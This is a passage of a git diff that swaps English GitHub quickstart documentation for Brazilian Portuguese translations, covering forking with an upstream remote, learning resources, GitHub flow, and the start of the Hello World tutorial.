   > origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (fetch)
   > origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (push)
   ```
 
-6. Type `git remote add upstream`, and then paste the URL you copied in Step 2 and press **Enter**. It will look like this:
+6. Digite `git remote add upstream`, cole a URL que você copiou na etapa 2 e pressione **Enter**. Ficará assim:
   ```shell
   $ git remote add upstream https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife.git
   ```
 
-7. To verify the new upstream repository you've specified for your fork, type `git remote -v` again. You should see the URL for your fork as `origin`, and the URL for the original repository as `upstream`.
+7. Para verificar o novo repositório upstream que você especificou para sua bifurcação, digite novamente `git remote -v`. Você deverá visualizar a URL da sua bifurcação como `origin` (origem) e a URL do repositório original como `upstream`.
   ```shell
   $ git remote -v
   > origin    https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_FORK</em>.git (fetch)
@@ -169,7 +166,7 @@ When you fork a project in order to propose changes to the original repository,
   > upstream  https://{% data variables.command_line.codeblock %}/<em>ORIGINAL_OWNER</em>/<em>ORIGINAL_REPOSITORY</em>.git (push)
   ```
 
-Now, you can keep your fork synced with the upstream repository with a few Git commands. For more information, see "[Syncing a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)."
+Agora é possível manter a bifurcação sincronizada com o repositório upstream usando apenas alguns comandos Git. For more information, see "[Syncing a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)."
 
 {% endwebui %}
 
@@ -177,13 +174,13 @@ Now, you can keep your fork synced with the upstream repository with a few Git c
 
 {% data reusables.cli.cli-learn-more %}
 
-To configure a remote repository for the forked repository, use the `--remote` flag.
+Para configurar um repositório remoto para o repositório bifurcado, use o sinalizador `--remote`.
 
 ```shell
 gh repo fork <em>repository</em> --remote=true
 ```
 
-To specify the remote repository's name, use the `--remote-name` flag.
+Para especificar o nome do repositório remoto, use o sinalizador `--remote-name`.
 
 ```shell
 gh repo fork <em>repository</em> --remote-name "main-remote-repo"
@@ -191,26 +188,26 @@ gh repo fork <em>repository</em> --remote-name "main-remote-repo"
 
 {% endcli %}
 
-### Next steps
+### Próximas etapas
 
-You can make any changes to a fork, including:
+Você pode fazer alterações em uma bifurcação, incluindo:
 
-- **Creating branches:** [*Branches*](/articles/creating-and-deleting-branches-within-your-repository/) allow you to build new features or test out ideas without putting your main project at risk.
-- **Opening pull requests:** If you are hoping to contribute back to the original repository, you can send a request to the original author to pull your fork into their repository by submitting a [pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+- **Criar branches: ** os [* branches*](/articles/creating-and-deleting-branches-within-your-repository/) permitem desenvolver novos recursos ou testar novas ideias sem colocar o projeto atual em risco.
+- **Abrir pull requests:** caso queira fazer contribuições no repositório original, ao enviar uma [pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests), você pode solicitar que o autor do repositório original faça pull de sua bifurcação no repositório dele.
 
-## Find another repository to fork
-Fork a repository to start contributing to a project. {% data reusables.repositories.you-can-fork %}
+## Localize outro repositório para bifurcar
+Bifurque um repositório para começar a contribuir com um projeto. {% data reusables.repositories.you-can-fork %}
 
-{% ifversion fpt or ghec %}You can browse [Explore](https://github.com/explore) to find projects and start contributing to open source repositories. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
+{% ifversion fpt or ghec %}You can browse [Explore](https://github.com/explore) to find projects and start contributing to open source repositories. Para obter mais informações, consulte "[Encontrar maneiras de contribuir para o código aberto em {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
 
 {% endif %}
 
-## Celebrate
+## Comemore
 
-You have now forked a repository, practiced cloning your fork, and configured an upstream repository. For more information about cloning the fork and syncing the changes in a forked repository from your computer see "[Set up Git](/articles/set-up-git)."
+Você já bifurcou um repositório, treinou clonar sua bifurcação e configurou um repositório upstream. Para obter mais informações sobre a clonagem da bifurcação e sincronizar as alterações em um repositório bifurcado a partir do seu computador"[Configurar o Git](/articles/set-up-git)".
 
-You can also create a new repository where you can put all your projects and share the code on {% data variables.product.prodname_dotcom %}. For more information see, "[Create a repository](/articles/create-a-repo)."
+Você também pode criar um novo repositório onde você pode colocar todos os seus projetos e compartilhar o código em {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Criar um repositório](/articles/create-a-repo)".
 
-Each repository in {% data variables.product.product_name %} is owned by a person or an organization. You can interact with the people, repositories, and organizations by connecting and following them on {% data variables.product.product_name %}. For more information see "[Be social](/articles/be-social)."
+Cada repositório em {% data variables.product.product_name %} pertence a uma pessoa ou organização. Você pode interagir com as pessoas, repositórios e organizações, conectando-se e seguindo-as em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Seja social](/articles/be-social)".
 
 {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/pt-BR/content/get-started/quickstart/git-and-github-learning-resources.md b/translations/pt-BR/content/get-started/quickstart/git-and-github-learning-resources.md
index c7023667de..43c7bae918 100644
--- a/translations/pt-BR/content/get-started/quickstart/git-and-github-learning-resources.md
+++ b/translations/pt-BR/content/get-started/quickstart/git-and-github-learning-resources.md
@@ -1,12 +1,12 @@
 ---
-title: Git and GitHub learning resources
+title: Recursos de aprendizagem Git e GitHub
 redirect_from:
   - /articles/good-resources-for-learning-git-and-github
   - /articles/what-are-other-good-resources-for-learning-git-and-github
   - /articles/git-and-github-learning-resources
   - /github/getting-started-with-github/git-and-github-learning-resources
   - /github/getting-started-with-github/quickstart/git-and-github-learning-resources
-intro: 'There are a lot of helpful Git and {% data variables.product.product_name %} resources on the web. This is a short list of our favorites!'
+intro: 'Existem muitos recursos Git e {% data variables.product.product_name %} na Web. Essa é uma lista de nossos preferidos!'
 versions:
   fpt: '*'
   ghes: '*'
@@ -14,50 +14,51 @@ versions:
   ghec: '*'
 authors:
   - GitHub
-shortTitle: Learning resources
+shortTitle: Recursos de aprendizagem
 ---
-## Using Git
 
-Familiarize yourself with Git by visiting the [official Git project site](https://git-scm.com) and reading the [ProGit book](http://git-scm.com/book). You can review the [Git command list](https://git-scm.com/docs) or [Git command lookup reference](http://gitref.org) while using the [Try Git](https://try.github.com) simulator.
+## Usar o Git
 
-## Using {% data variables.product.product_name %}
+Familiarize-se com o Git acessando o [site oficial do projeto Git](https://git-scm.com) e lendo o [livro do ProGit](http://git-scm.com/book). Você pode revisar a [lista de comandos Git](https://git-scm.com/docs) ou a [referência de consultas de comandos Git](http://gitref.org) e usar o simulador [Try Git](https://try.github.com) (Experimentar o Git).
+
+## Usar {% data variables.product.product_name %}
 
 {% ifversion fpt or ghec %}
 
-{% data variables.product.prodname_learning %} offers free interactive courses that are built into {% data variables.product.prodname_dotcom %} with instant automated feedback and help. Learn to open your first pull request, make your first open source contribution, create a {% data variables.product.prodname_pages %} site, and more. For more information about course offerings, see [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}).
+O {% data variables.product.prodname_learning %} oferece cursos interativos grátis que são desenvolvidos em {% data variables.product.prodname_dotcom %} e possuem ajuda e respostas automáticas e instantâneas. Aprenda a abrir sua primeira pull request, fazer sua primeira contribuição a um código aberto, criar um site {% data variables.product.prodname_pages %} e muito mais. Para obter mais informações sobre a oferta de cursos, consulte [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}).
 
 {% endif %}
 
-Become better acquainted with {% data variables.product.product_name %} through our [getting started](/categories/getting-started-with-github/) articles. See our [{% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow) for a process introduction. Refer to our [overview guides](https://guides.github.com) to walk through basic concepts.
+Conheça melhor o {% data variables.product.product_name %} por meio dos nossos [artigos](/categories/getting-started-with-github/). Consulte nosso fluxo [{% data variables.product.prodname_dotcom %} ](https://guides.github.com/introduction/flow) para uma introdução ao processo. Examine as [orientações gerais](https://guides.github.com) para conhecer os conceitos básicos.
 
 {% data reusables.support.ask-and-answer-forum %}
 
-### Branches, forks, and pull requests
+### Branches, bifurcações e pull requests
 
-Learn about [Git branching](http://learngitbranching.js.org/) using an interactive tool. Read about [forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) and [pull requests](/articles/using-pull-requests) as well as [how we use pull requests](https://github.com/blog/1124-how-we-use-pull-requests-to-build-github) at {% data variables.product.prodname_dotcom %}. Access references about using {% data variables.product.prodname_dotcom %} from the [command line](https://cli.github.com/).
+Saiba como [criar branches no Git ](http://learngitbranching.js.org/) com uma ferramenta interativa. Leia sobre [bifurcações](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) e [pull requests](/articles/using-pull-requests) e também sobre [como usamos pull requests](https://github.com/blog/1124-how-we-use-pull-requests-to-build-github) em {% data variables.product.prodname_dotcom %}. Acesse as referências sobre como usar {% data variables.product.prodname_dotcom %} na [linha de comando](https://cli.github.com/).
 
-### Tune in
+### Fique antenado
 
-Our {% data variables.product.prodname_dotcom %} [YouTube Training and Guides channel](https://youtube.com/githubguides) offers tutorials about [pull requests](https://www.youtube.com/watch?v=d5wpJ5VimSU&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=19), [forking](https://www.youtube.com/watch?v=5oJHRbqEofs), [rebase](https://www.youtube.com/watch?v=SxzjZtJwOgo&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=22), and [reset](https://www.youtube.com/watch?v=BKPjPMVB81g) functions. Each topic is covered in 5 minutes or less.
+Nosso {% data variables.product.prodname_dotcom %} [canal do YouTube de Treinamentos e Orientações](https://youtube.com/githubguides) oferece tutoriais sobre as funções [pull request](https://www.youtube.com/watch?v=d5wpJ5VimSU&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=19), [bifurcar](https://www.youtube.com/watch?v=5oJHRbqEofs), [rebase](https://www.youtube.com/watch?v=SxzjZtJwOgo&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=22) e [redefinir](https://www.youtube.com/watch?v=BKPjPMVB81g). Cada tema é abordado em cinco minutos ou menos.
 
-## Training
+## Treinamentos
 
-### Free courses
+### Cursos grátis
 
-{% data variables.product.product_name %} offers a series of interactive, [on-demand training courses](https://lab.github.com/) including [Introduction to {% data variables.product.prodname_dotcom %}](https://lab.github.com/githubtraining/introduction-to-github); courses on programming languages and tools such as HTML, Python, and NodeJS; and courses on {% data variables.product.product_name %} specific tools such as {% data variables.product.prodname_actions %}.
+{% data variables.product.product_name %} oferece uma série de treinamentos interativos, [sob demanda](https://lab.github.com/), incluindo [Introdução a {% data variables.product.prodname_dotcom %}](https://lab.github.com/githubtraining/introduction-to-github); cursos sobre linguagens de programação e ferramentas, como HTML, Python e NodeJS; e cursos sobre ferramentas específicas de {% data variables.product.product_name %}, como {% data variables.product.prodname_actions %}.
 
-### {% data variables.product.prodname_dotcom %}'s web-based educational programs
+### Programas educacionais online do {% data variables.product.prodname_dotcom %}
 
-{% data variables.product.prodname_dotcom %} offers live [trainings](https://services.github.com/#upcoming-events) with a hands-on, project-based approach for those who love the command line and those who don't.
+O {% data variables.product.prodname_dotcom %} disponibiliza [treinamentos](https://services.github.com/#upcoming-events) ao vivo com abordagens práticas e baseadas em projetos para aqueles que adoram linhas de comando e também para aqueles que as odeiam.
 
-### Training for your company
+### Treinamentos para sua empresa
 
-{% data variables.product.prodname_dotcom %} offers [in-person classes](https://services.github.com/#offerings) taught by our highly-experienced educators. [Contact us](https://services.github.com/#contact) to ask your training-related questions.
+O {% data variables.product.prodname_dotcom %} oferece [aulas presenciais](https://services.github.com/#offerings) com nossos instrutores altamente qualificados. [Entre em contato](https://services.github.com/#contact) para tirar suas dúvidas sobre os treinamentos.
 
 ## Extras
 
-An interactive [online Git course](https://www.pluralsight.com/courses/code-school-git-real) from [Pluralsight](https://www.pluralsight.com/codeschool) has seven levels with dozens of exercises in a fun game format. Feel free to adapt our [.gitignore templates](https://github.com/github/gitignore) to meet your needs.
+Um [curso online e interativo sobre o Git](https://www.pluralsight.com/courses/code-school-git-real) da [Pluralsight](https://www.pluralsight.com/codeschool) tem sete níveis com dezenas de exercícios em formato de jogos divertidos. Fique à vontade para adaptar nossos [modelos .gitignore](https://github.com/github/gitignore) de acordo com as suas necessidades.
 
-Extend your {% data variables.product.prodname_dotcom %} reach through {% ifversion fpt or ghec %}[integrations](/articles/about-integrations){% else %}integrations{% endif %}, or by installing [{% data variables.product.prodname_desktop %}](https://desktop.github.com) and the robust [Atom](https://atom.io) text editor.
+Amplie seu alcance {% data variables.product.prodname_dotcom %} com {% ifversion fpt or ghec %}[integrações](/articles/about-integrations){% else %}integrações{% endif %} ou instalando [{% data variables.product.prodname_desktop %}](https://desktop.github.com) o robusto editor de texto [Atom](https://atom.io).
 
-Learn how to launch and grow your open source project with the [Open Source Guides](https://opensource.guide/).
+Saiba como iniciar e desenvolver seu projeto de código aberto em [Open Source Guides](https://opensource.guide/) (Guias de Código aberto).
diff --git a/translations/pt-BR/content/get-started/quickstart/github-flow.md b/translations/pt-BR/content/get-started/quickstart/github-flow.md
index e555ed5d9f..8a4ad2f517 100644
--- a/translations/pt-BR/content/get-started/quickstart/github-flow.md
+++ b/translations/pt-BR/content/get-started/quickstart/github-flow.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub flow
-intro: 'Follow {% data variables.product.prodname_dotcom %} flow to collaborate on projects.'
+title: Fluxo do GitHub
+intro: 'Siga o fluxo de {% data variables.product.prodname_dotcom %} para colaborar em projetos.'
 redirect_from:
   - /articles/creating-and-editing-files-in-your-repository
   - /articles/github-flow-in-the-browser
@@ -18,84 +18,85 @@ topics:
   - Fundamentals
 miniTocMaxHeadingLevel: 3
 ---
-## Introduction
 
-{% data variables.product.prodname_dotcom %} flow is a lightweight, branch-based workflow. The {% data variables.product.prodname_dotcom %} flow is useful for everyone, not just developers. For example, here at {% data variables.product.prodname_dotcom %}, we use {% data variables.product.prodname_dotcom %} flow for our [site policy](https://github.com/github/site-policy), [documentation](https://github.com/github/docs), and [roadmap](https://github.com/github/roadmap).
+## Introdução
 
-## Prerequisites
+O fluxo de {% data variables.product.prodname_dotcom %} é um fluxo de trabalho leve e baseado no branch. O fluxo do {% data variables.product.prodname_dotcom %} é útil para todos, não apenas para os desenvolvedores. Por exemplo, aqui em {% data variables.product.prodname_dotcom %}, usamos o fluxo de {% data variables.product.prodname_dotcom %} para a nossa [política do site](https://github.com/github/site-policy), [documentação](https://github.com/github/docs)e [roteiro](https://github.com/github/roadmap).
 
-To follow {% data variables.product.prodname_dotcom %} flow, you will need a {% data variables.product.prodname_dotcom %} account and a repository. For information on how to create an account, see "[Signing up for {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-github)." For information on how to create a repository, see "[Create a repo](/github/getting-started-with-github/create-a-repo)."{% ifversion fpt or ghec %} For information on how to find an existing repository to contribute to, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %}
+## Pré-requisitos
 
-## Following {% data variables.product.prodname_dotcom %} flow
+Para seguir o fluxo de {% data variables.product.prodname_dotcom %}, você precisa de uma conta de {% data variables.product.prodname_dotcom %} e um repositório. Para obter informações sobre como criar uma conta, consulte "[Inscrevendo-se em {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-github)". Para obter informações sobre como criar um repositório, consulte "[Crie um repositório](/github/getting-started-with-github/create-a-repo). {% ifversion fpt or ghec %} Para mais informações sobre como encontrar um repositório existente para contribuir, consulte "[Encontrar formas de contribuir para código aberto em {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github).{% endif %}
+
+## Seguindo o fluxo de {% data variables.product.prodname_dotcom %}
 
 {% tip %}
 
 {% ifversion fpt or ghec %}
-**Tip:** You can complete all steps of {% data variables.product.prodname_dotcom %} flow through {% data variables.product.prodname_dotcom %} web interface, command line and [{% data variables.product.prodname_cli %}](https://cli.github.com), or [{% data variables.product.prodname_desktop %}](/free-pro-team@latest/desktop).
+**Dica:** Você pode realizar todas as etapas do fluxo de {% data variables.product.prodname_dotcom %} através da interface web de {% data variables.product.prodname_dotcom %}, linha de comando e [{% data variables.product.prodname_cli %}](https://cli.github.com) ou [{% data variables.product.prodname_desktop %}](/free-pro-team@latest/desktop).
 {% else %}
-**Tip:** You can complete all steps of {% data variables.product.prodname_dotcom %} flow through {% data variables.product.prodname_dotcom %} web interface or through the command line and [{% data variables.product.prodname_cli %}](https://cli.github.com).
+**Dica:** Você pode realizar todas as etapas de {% data variables.product.prodname_dotcom %} através da interface web de {% data variables.product.prodname_dotcom %} ou através da linha de comando e [{% data variables.product.prodname_cli %}](https://cli.github.com).
 {% endif %}
 
 {% endtip %}
 
-### Create a branch
+### Criar uma branch
 
-  Create a branch in your repository. A short, descriptive branch name enables your collaborators to see ongoing work at a glance. For example, `increase-test-timeout` or `add-code-of-conduct`. For more information, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)."
+  Crie um branch no seu repositório. Um nome de branch curto e descritivo permite que seus colaboradores vejam o trabalho em andamento rapidamente. Por exemplo, `increase-test-timeout` ou `add-code-of-conduct`. Para obter mais informações, consulte "[Criar e excluir branches em seu repositório](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)".
 
-  By creating a branch, you create a space to work without affecting the default branch. Additionally, you give collaborators a chance to review your work.
+  Ao criar um branch, você cria um espaço para trabalhar sem afetar o branch padrão. Além disso, você fornece aos colaboradores a oportunidade de revisar seu trabalho.
 
-### Make changes
+### Fazer alterações
 
-On your branch, make any desired changes to the repository. For more information, see "[Creating new files](/articles/creating-new-files)," "[Editing files](/articles/editing-files)," "[Renaming a file](/articles/renaming-a-file)," "[Moving a file to a new location](/articles/moving-a-file-to-a-new-location)," or "[Deleting files in a repository](/github/managing-files-in-a-repository/deleting-files-in-a-repository)."
+No seu branch, faça quaisquer alterações desejadas no repositório. Para obter mais informações, consulte "[Criar novos arquivos](/articles/creating-new-files)," "[Editar arquivos](/articles/editing-files)"[Renomear um arquivo](/articles/renaming-a-file), "[Mover um arquivo para um novo local](/articles/moving-a-file-to-a-new-location)" ou "[Excluir arquivos em um repositório](/github/managing-files-in-a-repository/deleting-files-in-a-repository)".
 
-Your branch is a safe place to make changes. If you make a mistake, you can revert your changes or push additional changes to fix the mistake. Your changes will not end up on the default branch until you merge your branch.
+Seu branch é um lugar seguro para fazer alterações. Se você cometer um erro, você poderá reverter suas alterações ou fazer push das alterações adicionais para corrigir o erro. As suas alterações não serão feitas no branch padrão até que você faça merge de seu branch.
 
-Commit and push your changes to your branch. Give each commit a descriptive message to help you and future contributors understand what changes the commit contains. For example, `fix typo` or `increase rate limit`.
+Faça o commit e faça push das alterações no seu branch. Dê a cada commit uma mensagem descritiva para ajudar você e futuros contribuidores a entender quais alterações o commit contém. Por exemplo, `corrigir erro de digitação` ou `aumentar o limite de taxa`.
 
-Ideally, each commit contains an isolated, complete change. This makes it easy to revert your changes if you decide to take a different approach. For example, if you want to rename a variable and add some tests, put the variable rename in one commit and the tests in another commit. Later, if you want to keep the tests but revert the variable rename, you can revert the specific commit that contained the variable rename. If you put the variable rename and tests in the same commit or spread the variable rename across multiple commits, you would spend more effort reverting your changes.
+Idealmente, cada commit contém uma alteração isolada e completa. Isso facilita reverter as suas alterações se decidirmos adotar uma abordagem diferente. Por exemplo, se você deseja renomear uma variável e adicionar alguns testes, coloque a variável renomeada em um commit e os testes em outro commit. Posteriormente, se você quiser manter os testes, mas reverter o novo nome da variável, você poderá reverter o commit específico que continha a variável renomeada. Se você colocar o novo nome da variável e testar no mesmo commit ou espalhar o novo nome da variável por múltiplos commits, você gastaria mais esforço revertendo suas alterações.
 
-By committing and pushing your changes, you back up your work to remote storage. This means that you can access your work from any device. It also means that your collaborators can see your work, answer questions, and make suggestions or contributions.
+Ao fazer commit e push das suas alterações, você fará backup do seu trabalho no armazenamento remoto. Isso significa que você pode acessar seu trabalho a partir de qualquer dispositivo. Isso também significa que os seus colaboradores poderão ver o seu trabalho, responder a perguntas e fazer sugestões ou contribuições.
 
-Continue to make, commit, and push changes to your branch until you are ready to ask for feedback.
+Continue a criar, fazer commit e fazer push das alterações no seu branch até que você esteja pronto para pedir feedback.
 
 {% tip %}
 
-**Tip:** Make a separate branch for each set of unrelated changes. This makes it easier for reviewers to give feedback. It also makes it easier for you and future collaborators to understand the changes and to revert or build on them. Additionally, if there is a delay in one set of changes, your other changes aren't also delayed.
+**Dica:** Crie um branch separado para cada conjunto de alterações não relacionadas. Isso facilita para os revisores darem feedback. Isso também facilita para você e para futuros colaboradores entenderem as alterações e reverter ou criar com elas. Além disso, se houver um atraso em um conjunto de alterações, as suas outras alterações também não serão atrasadas.
 
 {% endtip %}
 
-### Create a pull request
+### Criar um pull request
 
-Create a pull request to ask collaborators for feedback on your changes. Pull request review is so valuable that some repositories require an approving review before pull requests can be merged. If you want early feedback or advice before you complete your changes, you can mark your pull request as a draft. For more information, see "[Creating a pull request](/articles/creating-a-pull-request)."
+Crie um pull request para pedir aos colaboradores feedback sobre suas alterações. A revisão de pull request é tão valiosa que alguns repositórios exigem uma revisão de aprovação antes que os pull requests possam ser mesclados. Se você quiser feedback ou conselhos antes de concluir suas alterações, você poderá marcar seu pull request como um rascunho. Para obter mais informações, consulte "[Criar uma pull request](/articles/creating-a-pull-request)".
 
-When you create a pull request, include a summary of the changes and what problem they solve. You can include images, links, and tables to help convey this information. If your pull request addresses an issue, link the issue so that issue stakeholders are aware of the pull request and vice versa. If you link with a keyword, the issue will close automatically when the pull request merges. For more information, see "[Basic writing and formatting syntax](/github/writing-on-github/basic-writing-and-formatting-syntax)" and "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)."
+Ao criar uma pull request, inclua um resumo das alterações e qual o problema que elas resolvem. Você pode incluir imagens, links e tabelas para ajudar a transmitir estas informações. Se o seu pull request resolve um problema, vincule o problema para que os interessados no problema estejam cientes do pull request e vice-versa. Se você vincular com uma palavra-chave, o problema será fechado automaticamente quando o pull request for mesclado. Para obter mais informações, consulte "[Sintaxe de escrita e formatação básica](/github/writing-on-github/basic-writing-and-formatting-syntax)" e "[Vincular um pull request a um problema](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)".
 
-![pull request body](/assets/images/help/pull_requests/pull-request-body.png)
+![texto do pull request](/assets/images/help/pull_requests/pull-request-body.png)
 
-In addition to filling out the body of the pull request, you can add comments to specific lines of the pull request to explicitly point something out to the reviewers.
+Além de preencher o texto do pull request, você pode adicionar comentários em linhas específicas do pull request para apontar algo explicitamente para os revisores.
 
-![pull request comment](/assets/images/help/pull_requests/pull-request-comment.png)
+![comentário do pull request](/assets/images/help/pull_requests/pull-request-comment.png)
 
-Your repository may be configured to automatically request a review from specific teams or users when a pull request is created. You can also manually @mention or request a review from specific people or teams.
+Seu repositório pode ser configurado para solicitar uma revisão automaticamente de equipes específicas ou usuários quando um pull request for criado. Você também pode @mencionar ou solicitar manualmente uma avaliação de pessoas ou equipes específicas.
 
-If your repository has checks configured to run on pull requests, you will see any checks that failed on your pull request. This helps you catch errors before merging your branch. For more information, see "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)."
+Se seu repositório tiver verificações configuradas para serem executadas em pull requests, você verá todas as verificações que falharam no seu pull request. Isso ajuda você a capturar erros antes de fazer merge do seu branch. Para obter mais informações, consulte "[Sobre verificações de status](/github/collaborating-with-issues-and-pull-requests/about-status-checks)".
 
-### Address review comments
+### Comentários de revisão do endereço
 
-Reviewers should leave questions, comments, and suggestions. Reviewers can comment on the whole pull request or add comments to specific lines. You and reviewers can insert images or code suggestions to clarify comments. For more information, see "[Reviewing changes in pull requests](/github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests)."
+Os revisores devem deixar perguntas, comentários e sugestões. Os revisores podem comentar em todo o pull request ou adicionar comentários em linhas específicas. Você e os revisores podem inserir imagens ou sugestões de código para esclarecer comentários. Para obter mais informações, consulte "[Revisar alterações em pull requests](/github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests)".
 
-You can continue to commit and push changes in response to the reviews. Your pull request will update automatically.
+Você pode continuar a fazer commit e push das alterações em resposta às revisões. Sua pull request atualizará automaticamente.
 
-### Merge your pull request
+### Fazer merge do seu pull request
 
-Once your pull request is approved, merge your pull request. This will automatically merge your branch so that your changes appear on the default branch. {% data variables.product.prodname_dotcom %} retains the history of comments and commits in the pull request to help future contributors understand your changes. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)."
+Depois que seu pull request for aprovado, faça merge do seu pull request. Isso fará o merge automático do seu branch para que suas alterações apareçam no branch padrão. {% data variables.product.prodname_dotcom %} mantém o histórico de comentários e commits no pull request para ajudar futuros contribuidores a entender suas alterações. Para obter mais informações, consulte "[Fazer merge de uma pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)".
 
-{% data variables.product.prodname_dotcom %} will tell you if your pull request has conflicts that must be resolved before merging. For more information, see "[Addressing merge conflicts](/github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts)."
+{% data variables.product.prodname_dotcom %} dirá se o seu pull request possui conflitos que precisam ser resolvidos antes do merge. Para obter mais informações, consulte "[Solucionar conflitos de merge](/github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts)."
 
-Branch protection settings may block merging if your pull request does not meet certain requirements. For example, you need a certain number of approving reviews or an approving review from a specific team. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
+Configurações de proteção de branch podem bloquear o merge se seu pull request não cumprir certos requisitos. Por exemplo, você precisa de um certo número de revisões ou uma revisão de aprovação de uma equipe específica. Para obter mais informações, consulte "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches)".
 
-### Delete your branch
+### Excluir seu branch
 
-After you merge your pull request, delete your branch. This indicates that the work on the branch is complete and prevents you or others from accidentally using old branches. For more information, see "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)."
+Depois de realizar o merge do seu pull request, exclua o branch. Isso indica que o trabalho no branch foi concluído e impede que você ou outras pessoas de usar os branches antigos acidentalmente. Para obter mais informações, consulte "[Excluindo e recuperando branches em um pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)".
 
-Don't worry about losing information. Your pull request and commit history will not be deleted. You can always restore your deleted branch or revert your pull request if needed.
+Não se preocupe em perder informações. O histórico do seu pull request e commit não será excluído. Você sempre tem a opção de restaurar o branch excluído ou reverter seu pull request, se necessário.
diff --git a/translations/pt-BR/content/get-started/quickstart/hello-world.md b/translations/pt-BR/content/get-started/quickstart/hello-world.md
index 51d7eefd55..7fc21a4447 100644
--- a/translations/pt-BR/content/get-started/quickstart/hello-world.md
+++ b/translations/pt-BR/content/get-started/quickstart/hello-world.md
@@ -1,6 +1,6 @@
 ---
 title: Hello World
-intro: 'Follow this Hello World exercise to get started with {% data variables.product.product_name %}.'
+intro: 'Siga este exercício de Hello World para dar os primeiros passos com {% data variables.product.product_name %}.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,133 +13,132 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Introduction
+## Introdução
 
-{% data variables.product.product_name %} is a code hosting platform for version control and collaboration. It lets you and others work together on projects from anywhere.
+{% data variables.product.product_name %} é uma plataforma de hospedagem de código para controle de versão e colaboração. Permite que você e outras pessoas trabalhem em conjunto em projetos de qualquer lugar.
 
-This tutorial teaches you {% data variables.product.product_name %} essentials like repositories, branches, commits, and pull requests. You'll create your own Hello World repository and learn {% data variables.product.product_name %}'s pull request workflow, a popular way to create and review code.
+Este tutorial ensina os princípios básicos de {% data variables.product.product_name %} como, por exemplo, repositórios, branches, commits e pull requests. Você criará seu próprio repositório Hello World e aprenderá o fluxo de trabalho de pull request de {% data variables.product.product_name %}, uma maneira popular de criar e revisar o código.
 
-In this quickstart guide, you will:
+Neste guia de início rápido, você irá:
 
-* Create and use a repository
-* Start and manage a new branch
-* Make changes to a file and push them to {% data variables.product.product_name %} as commits
-* Open and merge a pull request
+* Criar e usar um repositório
+* Iniciar e gerenciar um novo branch
+* Fazer alterações em um arquivo e enviá-los por push para {% data variables.product.product_name %} como commits
+* Abrir e realizar merge de um pull request
 
-To complete this tutorial, you need a [{% data variables.product.product_name %} account](http://github.com) and Internet access. You don't need to know how to code, use the command line, or install Git (the version control software that {% data variables.product.product_name %} is built on).
+Para concluir este tutorial, você precisa de uma conta [{% data variables.product.product_name %}](http://github.com) e acesso à internet. Você não precisa saber como programar, usar a linha de comando ou instalar o Git (o software de controle de versão no qual {% data variables.product.product_name %} é criado).
 
-## Creating a repository
+## Criar um repositório
 
-A repository is usually used to organize a single project. Repositories can contain folders and files, images, videos, spreadsheets, and data sets -- anything your project needs. Often, repositories include a `README` file, a file with information about your project. {% data variables.product.product_name %} makes it easy to add one at the same time you create your new repository. It also offers other common options such as a license file.
